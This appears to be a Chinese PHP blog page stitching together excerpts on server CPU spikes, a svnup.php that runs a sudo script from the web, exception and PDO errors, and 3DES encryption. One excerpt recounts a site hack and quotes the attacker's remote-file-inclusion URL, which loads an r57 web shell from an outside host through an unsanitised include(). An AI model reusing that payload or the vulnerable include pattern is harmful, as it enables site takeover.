最近上线的一个项目,开始几天运行良好,负载很底,访问速度也很正常。
29号晚上发现在监控内web服务器有点不正常,cpu和负载会突然增高,然后过十来分钟就会恢复正常。ssh连上去看,有几个php-cgi进程cpu的使用是100%。当时怀疑可能是有个别程序没写好,就通知开发这边去查了。从下图可以看到:
最近上线的一个项目,开始几天运行良好,负载很底,访问速度也很正常。
29号晚上发现在监控内web服务器有点不正常,cpu和负载会突然增高,然后过十来分钟就会恢复正常。ssh连上去看,有几个php-cgi进程cpu的使用是100%。当时怀疑可能是有个别程序没写好,就通知开发这边去查了。从下图可以看到:
php调用shell脚本的svnup.php文件内容:
<?php
set_time_limit(0);
//$output = array();
$ret = 0;
exec("/usr/bin/sudo /data0/shell/svnvp.sh", $output, $ret);
echo "Result:{$ret}";
print_r($output);
?>
/data0/shell/svnvp.sh是更新的脚本,主要内容是svn up。
就目前我的了解,在两种情况下,PHP会报 Exception thrown without a stack frame in Unknown on line 0这种错误:
1)异常捕捉用了set_exception_handler导向,Exception里面执行另一个Exception
如下面这段代码,就会出现这种问题:
http://de.php.net/manual/de/function.set-exception-handler.php#88082
以前写的3DES加解密类是配合java程序做的,用的是no-pading模式,这次在以前的基础上做了修改,改成了pkcs5填充模式。
以前的类: http://hi.baidu.com/farmerluo/blog/item/6154a7effd4dd011fdfa3c8b.html
大部分时候都能连上,但每天会有一些连接不上的情况,会报下面的错误:
PHP Fatal error: Uncaught exception ‘PDOException’ with message ‘SQLSTATE[] (null) (severity 0)’
或:
PHP Fatal error: Uncaught exception ‘PDOException’ with message ‘SQLSTATE[01002] Adaptive Server connection failed (severity 9)
PHP 5.2.9 及 PHP 5.2.11都有这个问题,Bug目前还没有解决。
网站是四年前刚学PHP的时候帮朋友弄的,有些参数没有处理好,造成让人挂马。
php内有一段是这样的,目的是动态加载一个静态页
$type.=".htm";
include ($type);
$type是通过url传过来的值,如:showhtml.php?type=index
因为虚拟主机的是激活的,所以黑客用了这个地址:/showhtml.php?type=http://evilc0der.com/r57.txt??
写了一个java版3des加密程序,可与php兼容,代码如下: